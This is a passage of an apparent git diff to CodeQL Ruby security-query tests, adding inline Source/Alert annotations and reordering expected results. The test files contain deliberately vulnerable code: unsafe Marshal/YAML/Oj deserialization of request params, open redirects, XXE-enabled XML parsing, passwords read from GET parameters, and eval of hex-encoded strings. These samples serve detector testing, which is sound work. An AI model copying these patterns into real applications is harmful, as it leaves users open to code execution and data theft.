UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:144:14:144:48 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:150:30:150:39 | plist_data | UnsafeDeserialization.rb:149:18:149:23 | call to params | UnsafeDeserialization.rb:150:30:150:39 | plist_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:149:18:149:23 | call to params | user-provided value | -| UnsafeDeserialization.rb:151:30:151:39 | plist_data | UnsafeDeserialization.rb:149:18:149:23 | call to params | UnsafeDeserialization.rb:151:30:151:39 | plist_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:149:18:149:23 | call to params | user-provided value | -| UnsafeDeserialization.rb:161:24:161:34 | call to read | UnsafeDeserialization.rb:161:24:161:34 | call to read | UnsafeDeserialization.rb:161:24:161:34 | call to read | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:161:24:161:34 | call to read | value from stdin | -| UnsafeDeserialization.rb:164:24:164:33 | call to gets | UnsafeDeserialization.rb:164:24:164:33 | call to gets | UnsafeDeserialization.rb:164:24:164:33 | call to gets | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:164:24:164:33 | call to gets | value from stdin | -| UnsafeDeserialization.rb:167:24:167:32 | call to read | UnsafeDeserialization.rb:167:24:167:32 | call to read | UnsafeDeserialization.rb:167:24:167:32 | call to read | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:167:24:167:32 | call to read | value from stdin | -| UnsafeDeserialization.rb:170:24:170:27 | call to gets | UnsafeDeserialization.rb:170:24:170:27 | call to gets | UnsafeDeserialization.rb:170:24:170:27 | call to gets | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:170:24:170:27 | call to gets | value from stdin | -| UnsafeDeserialization.rb:173:24:173:32 | call to readlines | UnsafeDeserialization.rb:173:24:173:32 | call to readlines | UnsafeDeserialization.rb:173:24:173:32 | call to readlines | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:173:24:173:32 | call to readlines | value from stdin | diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref index 55f7c440b46..12e3c7a9b6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb index 633a99c14fb..b019bc0cb0e 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb @@ -8,26 +8,26 @@ require "yaml" class UsersController < ActionController::Base # BAD def route0 - serialized_data = Base64.decode64 params[:key] - object = Marshal.load serialized_data + serialized_data = Base64.decode64 params[:key] # $ Source + object = Marshal.load serialized_data # $ Alert end # BAD def route1 - serialized_data = Base64.decode64 params[:key] - object = Marshal.restore serialized_data + serialized_data = Base64.decode64 params[:key] # $ Source + object = Marshal.restore serialized_data # $ Alert end # BAD def route2 - json_data = params[:key] - object = JSON.load json_data + json_data = params[:key] # $ Source + object = JSON.load json_data # $ Alert end # BAD def route3 - json_data = params[:key] - object = JSON.restore json_data + json_data = params[:key] # $ Source + object = JSON.restore json_data # $ Alert end # GOOD - JSON.parse is safe to use on untrusted data @@ -38,8 +38,8 @@ class UsersController < ActionController::Base # BAD def route5 - yaml_data = params[:key] - object = YAML.load yaml_data + yaml_data = params[:key] # $ Source + object = YAML.load yaml_data # $ Alert end # GOOD @@ -50,14 +50,14 @@ class UsersController < ActionController::Base # BAD - Oj.load is unsafe in its default :object mode def route7 - json_data = params[:key] - object = Oj.load json_data - object = Oj.load json_data, mode: :object + json_data = params[:key] # $ Source + object = Oj.load json_data # $ Alert + object = Oj.load json_data, mode: :object # $ Alert end # GOOD - Oj.load is safe in any other mode def route8 - json_data = params[:key] + json_data = params[:key] # $ Source # Test the different ways the options hash can be passed options = { allow_blank: true, mode: :rails } object1 = Oj.load json_data, options @@ -67,7 +67,7 @@ class UsersController < ActionController::Base # TODO: false positive; we aren't detecting flow from `:json` to the call argument. more_options = { allow_blank: true } more_options[:mode] = :json - object4 = Oj.load json_data, more_options + object4 = Oj.load json_data, more_options # $ Alert end # GOOD @@ -78,20 +78,20 @@ class UsersController < ActionController::Base # BAD - Oj.object_load is always unsafe def route10 - json_data = params[:key] - object = Oj.object_load json_data + json_data = params[:key] # $ Source + object = Oj.object_load json_data # $ Alert end # BAD - Ox.parse_obj is always unsafe def route11 - xml_data = params[:key] - object = Ox.parse_obj xml_data + xml_data = params[:key] # $ Source + object = Ox.parse_obj xml_data # $ Alert end # BAD - Ox.load with :object mode is always unsafe def route12 - xml_data = params[:key] - object = Ox.load xml_data, mode: :object + xml_data = params[:key] # $ Source + object = Ox.load xml_data, mode: :object # $ Alert end # GOOD - Ox.load is safe in the default mode (which is :generic) and in any other mode than :object @@ -106,21 +106,21 @@ class UsersController < ActionController::Base # BAD - `Hash.from_trusted_xml` will deserialize elements with the # `type="yaml"` attribute as YAML. def route14 - xml = params[:key] - hash = Hash.from_trusted_xml(xml) + xml = params[:key] # $ Source + hash = Hash.from_trusted_xml(xml) # $ Alert end # BAD before psych version 4.0.0 def route15 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end # GOOD In psych version 4.0.0 and above def route16 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end @@ -134,21 +134,21 @@ class UsersController < ActionController::Base # BAD def route18 - yaml_data = params[:key] - object = Psych.unsafe_load(yaml_data) - object = Psych.unsafe_load_file(yaml_data) - object = Psych.load_stream(yaml_data) + yaml_data = params[:key] # $ Source + object = Psych.unsafe_load(yaml_data) # $ Alert + object = Psych.unsafe_load_file(yaml_data) # $ Alert + object = Psych.load_stream(yaml_data) # $ Alert parse_output = Psych.parse_stream(yaml_data) - object = parse_output.to_ruby - object = Psych.parse(yaml_data).to_ruby - object = Psych.parse_file(yaml_data).to_ruby + object = parse_output.to_ruby # $ Alert + object = Psych.parse(yaml_data).to_ruby # $ Alert + object = Psych.parse_file(yaml_data).to_ruby # $ Alert end # BAD def route19 - plist_data = params[:key] - result = Plist.parse_xml(plist_data) - result = Plist.parse_xml(plist_data, marshal: true) + plist_data = params[:key] # $ Source + result = Plist.parse_xml(plist_data) # $ Alert + result = Plist.parse_xml(plist_data, marshal: true) # $ Alert end # GOOD @@ -158,18 +158,18 @@ class UsersController < ActionController::Base end def stdin - object = YAML.load $stdin.read + object = YAML.load $stdin.read # $ Alert # STDIN - object = YAML.load STDIN.gets + object = YAML.load STDIN.gets # $ Alert # ARGF - object = YAML.load ARGF.read + object = YAML.load ARGF.read # $ Alert # Kernel.gets - object = YAML.load gets + object = YAML.load gets # $ Alert # Kernel.readlines - object = YAML.load readlines + object = YAML.load readlines # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.expected b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.expected index 2935e15cbd6..fe3a1d20a04 100644 --- a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.expected +++ b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.expected @@ -1,3 +1,7 @@ +#select +| tst.rb:7:6:7:31 | call to e | tst.rb:5:27:5:72 | "707574732822636f646520696e6a6..." : String | tst.rb:7:6:7:31 | call to e | $@ is interpreted as code. | tst.rb:5:27:5:72 | "707574732822636f646520696e6a6..." | Hard-coded data | +| tst.rb:10:9:10:25 | call to e | tst.rb:10:11:10:24 | "666f6f626172" : String | tst.rb:10:9:10:25 | call to e | $@ is interpreted as an import path. | tst.rb:10:11:10:24 | "666f6f626172" | Hard-coded data | +| tst.rb:17:6:17:38 | call to strip | tst.rb:16:31:16:84 | "\\x70\\x75\\x74\\x73\\x28\\x27\\x68\\..." : String | tst.rb:17:6:17:38 | call to strip | $@ is interpreted as code. | tst.rb:16:31:16:84 | "\\x70\\x75\\x74\\x73\\x28\\x27\\x68\\..." | Hard-coded data | edges | tst.rb:1:7:1:7 | r : String | tst.rb:2:4:2:4 | r : String | provenance | | | tst.rb:2:3:2:5 | call to [] : Array [element 0] : String | tst.rb:2:3:2:15 | call to pack | provenance | Config | @@ -29,7 +33,3 @@ nodes subpaths | tst.rb:7:8:7:30 | totally_harmless_string : String | tst.rb:1:7:1:7 | r : String | tst.rb:2:3:2:15 | call to pack | tst.rb:7:6:7:31 | call to e | | tst.rb:10:11:10:24 | "666f6f626172" : String | tst.rb:1:7:1:7 | r : String | tst.rb:2:3:2:15 | call to pack | tst.rb:10:9:10:25 | call to e | -#select -| tst.rb:7:6:7:31 | call to e | tst.rb:5:27:5:72 | "707574732822636f646520696e6a6..." : String | tst.rb:7:6:7:31 | call to e | $@ is interpreted as code. | tst.rb:5:27:5:72 | "707574732822636f646520696e6a6..." | Hard-coded data | -| tst.rb:10:9:10:25 | call to e | tst.rb:10:11:10:24 | "666f6f626172" : String | tst.rb:10:9:10:25 | call to e | $@ is interpreted as an import path. | tst.rb:10:11:10:24 | "666f6f626172" | Hard-coded data | -| tst.rb:17:6:17:38 | call to strip | tst.rb:16:31:16:84 | "\\x70\\x75\\x74\\x73\\x28\\x27\\x68\\..." : String | tst.rb:17:6:17:38 | call to strip | $@ is interpreted as code. | tst.rb:16:31:16:84 | "\\x70\\x75\\x74\\x73\\x28\\x27\\x68\\..." | Hard-coded data | diff --git a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref index afa4fec282c..48494558b68 100644 --- a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref +++ b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref @@ -1 +1,2 @@ -queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql +query: queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-506/tst.rb b/ruby/ql/test/query-tests/security/cwe-506/tst.rb index 67d117e95c4..bcc2c61f027 100644 --- a/ruby/ql/test/query-tests/security/cwe-506/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-506/tst.rb @@ -2,17 +2,17 @@ def e(r) [r].pack 'H*' end -totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229' +totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229' # $ Source -eval(e(totally_harmless_string)) # NOT OK: eval("puts('hello'") +eval(e(totally_harmless_string)) # NOT OK: eval("puts('hello'") # $ Alert eval(totally_harmless_string) # OK: throws parse error -require e('666f6f626172') # NOT OK: require 'foobar' +require e('666f6f626172') # NOT OK: require 'foobar' # $ Alert require '666f6f626172' # OK: no taint step between source and sink x = 'deadbeef' require e(x) # OK: doesn't meet our criteria for being a source -another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29" -eval(another_questionable_string.strip) # NOT OK: eval("puts('hello'") +another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29" # $ Source +eval(another_questionable_string.strip) # NOT OK: eval("puts('hello'") # $ Alert eval(another_questionable_string) # OK: no taint step between source and sink diff --git a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref index 98d0d8e6be7..1488e6145ba 100644 --- a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref @@ -1 +1,2 @@ -queries/security/cwe-598/SensitiveGetQuery.ql \ No newline at end of file +query: queries/security/cwe-598/SensitiveGetQuery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb index 441d8b493ab..3fefc82a092 100644 --- a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb @@ -1,17 +1,17 @@ class UsersController < ApplicationController def login_get_1 - foo = params[:password] # BAD: route handler uses GET query parameters to receive sensitive data + foo = params[:password] # BAD: route handler uses GET query parameters to receive sensitive data # $ Alert authenticate_user(params[:username], foo) end def login_get_2 - password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data + password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data # $ Alert authenticate_user(params[:username], password) end def login_get_3 - @password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data + @password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data # $ Alert authenticate_user(params[:username], @password) end diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.expected b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.expected index cd2845ea7a5..7df096e2d2f 100644 --- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.expected +++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.expected @@ -1,3 +1,14 @@ +#select +| UrlRedirect.rb:4:17:4:22 | call to params | UrlRedirect.rb:4:17:4:22 | call to params | UrlRedirect.rb:4:17:4:22 | call to params | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:4:17:4:22 | call to params | user-provided value | +| UrlRedirect.rb:9:17:9:28 | ...[...] | UrlRedirect.rb:9:17:9:22 | call to params | UrlRedirect.rb:9:17:9:28 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:9:17:9:22 | call to params | user-provided value | +| UrlRedirect.rb:14:17:14:43 | call to fetch | UrlRedirect.rb:14:17:14:22 | call to params | UrlRedirect.rb:14:17:14:43 | call to fetch | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:14:17:14:22 | call to params | user-provided value | +| UrlRedirect.rb:19:17:19:37 | call to to_unsafe_hash | UrlRedirect.rb:19:17:19:22 | call to params | UrlRedirect.rb:19:17:19:37 | call to to_unsafe_hash | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:19:17:19:22 | call to params | user-provided value | +| UrlRedirect.rb:24:17:24:37 | call to filter_params | UrlRedirect.rb:24:31:24:36 | call to params | UrlRedirect.rb:24:17:24:37 | call to filter_params | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:24:31:24:36 | call to params | user-provided value | +| UrlRedirect.rb:34:17:34:37 | "#{...}/foo" | UrlRedirect.rb:34:20:34:25 | call to params | UrlRedirect.rb:34:17:34:37 | "#{...}/foo" | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:34:20:34:25 | call to params | user-provided value | +| UrlRedirect.rb:58:17:58:28 | ...[...] | UrlRedirect.rb:58:17:58:22 | call to params | UrlRedirect.rb:58:17:58:28 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:58:17:58:22 | call to params | user-provided value | +| UrlRedirect.rb:63:38:63:49 | ...[...] | UrlRedirect.rb:63:38:63:43 | call to params | UrlRedirect.rb:63:38:63:49 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:63:38:63:43 | call to params | user-provided value | +| UrlRedirect.rb:68:38:68:49 | ...[...] | UrlRedirect.rb:68:38:68:43 | call to params | UrlRedirect.rb:68:38:68:49 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:68:38:68:43 | call to params | user-provided value | +| UrlRedirect.rb:73:25:73:36 | ...[...] | UrlRedirect.rb:73:25:73:30 | call to params | UrlRedirect.rb:73:25:73:36 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:73:25:73:30 | call to params | user-provided value | edges | UrlRedirect.rb:9:17:9:22 | call to params | UrlRedirect.rb:9:17:9:28 | ...[...] | provenance | | | UrlRedirect.rb:14:17:14:22 | call to params | UrlRedirect.rb:14:17:14:43 | call to fetch | provenance | | @@ -40,14 +51,3 @@ nodes | UrlRedirect.rb:94:5:94:29 | call to permit | semmle.label | call to permit | subpaths | UrlRedirect.rb:24:31:24:36 | call to params | UrlRedirect.rb:93:21:93:32 | input_params | UrlRedirect.rb:94:5:94:29 | call to permit | UrlRedirect.rb:24:17:24:37 | call to filter_params | -#select -| UrlRedirect.rb:4:17:4:22 | call to params | UrlRedirect.rb:4:17:4:22 | call to params | UrlRedirect.rb:4:17:4:22 | call to params | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:4:17:4:22 | call to params | user-provided value | -| UrlRedirect.rb:9:17:9:28 | ...[...] | UrlRedirect.rb:9:17:9:22 | call to params | UrlRedirect.rb:9:17:9:28 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:9:17:9:22 | call to params | user-provided value | -| UrlRedirect.rb:14:17:14:43 | call to fetch | UrlRedirect.rb:14:17:14:22 | call to params | UrlRedirect.rb:14:17:14:43 | call to fetch | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:14:17:14:22 | call to params | user-provided value | -| UrlRedirect.rb:19:17:19:37 | call to to_unsafe_hash | UrlRedirect.rb:19:17:19:22 | call to params | UrlRedirect.rb:19:17:19:37 | call to to_unsafe_hash | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:19:17:19:22 | call to params | user-provided value | -| UrlRedirect.rb:24:17:24:37 | call to filter_params | UrlRedirect.rb:24:31:24:36 | call to params | UrlRedirect.rb:24:17:24:37 | call to filter_params | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:24:31:24:36 | call to params | user-provided value | -| UrlRedirect.rb:34:17:34:37 | "#{...}/foo" | UrlRedirect.rb:34:20:34:25 | call to params | UrlRedirect.rb:34:17:34:37 | "#{...}/foo" | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:34:20:34:25 | call to params | user-provided value | -| UrlRedirect.rb:58:17:58:28 | ...[...] | UrlRedirect.rb:58:17:58:22 | call to params | UrlRedirect.rb:58:17:58:28 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:58:17:58:22 | call to params | user-provided value | -| UrlRedirect.rb:63:38:63:49 | ...[...] | UrlRedirect.rb:63:38:63:43 | call to params | UrlRedirect.rb:63:38:63:49 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:63:38:63:43 | call to params | user-provided value | -| UrlRedirect.rb:68:38:68:49 | ...[...] | UrlRedirect.rb:68:38:68:43 | call to params | UrlRedirect.rb:68:38:68:49 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:68:38:68:43 | call to params | user-provided value | -| UrlRedirect.rb:73:25:73:36 | ...[...] | UrlRedirect.rb:73:25:73:30 | call to params | UrlRedirect.rb:73:25:73:36 | ...[...] | Untrusted URL redirection depends on a $@. | UrlRedirect.rb:73:25:73:30 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref index 422dc00837a..76f39c8d6f3 100644 --- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref +++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref @@ -1 +1,2 @@ -queries/security/cwe-601/UrlRedirect.ql +query: queries/security/cwe-601/UrlRedirect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb index 78f2248434b..f44cef2b558 100644 --- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb +++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb @@ -1,27 +1,27 @@ class UsersController < ActionController::Base # BAD def route1 - redirect_to params + redirect_to params # $ Alert end # BAD def route2 - redirect_to params[:key] + redirect_to params[:key] # $ Alert end # BAD def route3 - redirect_to params.fetch(:specific_arg) + redirect_to params.fetch(:specific_arg) # $ Alert end # BAD def route4 - redirect_to params.to_unsafe_hash + redirect_to params.to_unsafe_hash # $ Alert end # BAD def route5 - redirect_to filter_params(params) + redirect_to filter_params(params) # $ Alert end # GOOD @@ -31,7 +31,7 @@ class UsersController < ActionController::Base # BAD def route7 - redirect_to "#{params[:key]}/foo" + redirect_to "#{params[:key]}/foo" # $ Alert end # GOOD @@ -55,22 +55,22 @@ class UsersController < ActionController::Base # The same as `create1` but this is reachable via a GET request, as configured # by the routes at the bottom of this file. def route9 - redirect_to params[:key] + redirect_to params[:key] # $ Alert end # BAD def route10 - redirect_back fallback_location: params[:key] + redirect_back fallback_location: params[:key] # $ Alert end # BAD def route11 - redirect_back fallback_location: params[:key], allow_other_host: true + redirect_back fallback_location: params[:key], allow_other_host: true # $ Alert end # BAD def route12 - redirect_back_or_to params[:key] + redirect_back_or_to params[:key] # $ Alert end # GOOD diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb index 4e3565e149a..c7013082c77 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb @@ -13,11 +13,11 @@ end class LibXmlRubyXXE < ApplicationController def foo - content = params[:xml] + content = params[:xml] # $ Source - LibXML::XML::Parser.file(content, { options: 2048 }) - Hash.from_xml(content) - Hash.from_trusted_xml(content) - ActiveSupport::XmlMini.parse(content) + LibXML::XML::Parser.file(content, { options: 2048 }) # $ Alert + Hash.from_xml(content) # $ Alert + Hash.from_trusted_xml(content) # $ Alert + ActiveSupport::XmlMini.parse(content) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.expected b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.expected index d819e92c930..787038e80f2 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.expected +++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.expected @@ -1,3 +1,8 @@ +#select +| LibXmlBackend.rb:18:30:18:36 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:18:30:18:36 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | +| LibXmlBackend.rb:19:19:19:25 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:19:19:19:25 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | +| LibXmlBackend.rb:20:27:20:33 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:20:27:20:33 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | +| LibXmlBackend.rb:21:34:21:40 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:21:34:21:40 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | edges | LibXmlBackend.rb:16:5:16:11 | content | LibXmlBackend.rb:18:30:18:36 | content | provenance | | | LibXmlBackend.rb:16:5:16:11 | content | LibXmlBackend.rb:19:19:19:25 | content | provenance | | @@ -14,8 +19,3 @@ nodes | LibXmlBackend.rb:20:27:20:33 | content | semmle.label | content | | LibXmlBackend.rb:21:34:21:40 | content | semmle.label | content | subpaths -#select -| LibXmlBackend.rb:18:30:18:36 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:18:30:18:36 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | -| LibXmlBackend.rb:19:19:19:25 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:19:19:19:25 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | -| LibXmlBackend.rb:20:27:20:33 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:20:27:20:33 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | -| LibXmlBackend.rb:21:34:21:40 | content | LibXmlBackend.rb:16:15:16:20 | call to params | LibXmlBackend.rb:21:34:21:40 | content | XML parsing depends on a $@ without guarding against external entity expansion. | LibXmlBackend.rb:16:15:16:20 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref index 8ed653a4869..50d9b176008 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref +++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref @@ -1 +1,2 @@ -queries/security/cwe-611/Xxe.ql +query: queries/security/cwe-611/Xxe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb index a8d640d62c6..2e38a92330f 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb @@ -1,15 +1,15 @@ class LibXmlRubyXXE < ApplicationController - content = params[:xml] - LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' }) - LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048}) - LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 }) - LibXML::XML::Parser.string(content, { options: 2 | 2048 }) - LibXML::XML::Parser.file(content, { options: 3 | 2048 }) - LibXML::XML::Parser.io(content, { options: 2 | 2048}) + content = params[:xml] # $ Source + LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' }) # $ Alert + LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048}) # $ Alert + LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 }) # $ Alert + LibXML::XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert + LibXML::XML::Parser.file(content, { options: 3 | 2048 }) # $ Alert + LibXML::XML::Parser.io(content, { options: 2 | 2048}) # $ Alert - XML::Document.string(content, { options: 2 | 2048 }) - XML::Parser.string(content, { options: 2 | 2048 }) + XML::Document.string(content, { options: 2 | 2048 }) # $ Alert + XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert LibXML::XML::Parser.file(content, { options: 2048 }) # OK diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb index 76f37cfb751..c4b03ad2645 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb @@ -1,30 +1,30 @@ class NokogiriXXE < ApplicationController - content = params[:xml] + content = params[:xml] # $ Source - Nokogiri::XML::parse(content, nil, nil, 2) - Nokogiri::XML::parse(content, nil, nil, 1 | 2) - Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD) + Nokogiri::XML::parse(content, nil, nil, 2) # $ Alert + Nokogiri::XML::parse(content, nil, nil, 1 | 2) # $ Alert + Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD) # $ Alert Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NOENT) #OK - Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2) + Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2) # $ Alert options = Nokogiri::XML::ParseOptions.new 2048 options.noent - Nokogiri::XML::parse(content, nil, nil, options) - Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent) + Nokogiri::XML::parse(content, nil, nil, options) # $ Alert + Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent) # $ Alert - Nokogiri::XML::parse(content) { |x| x.noent } - 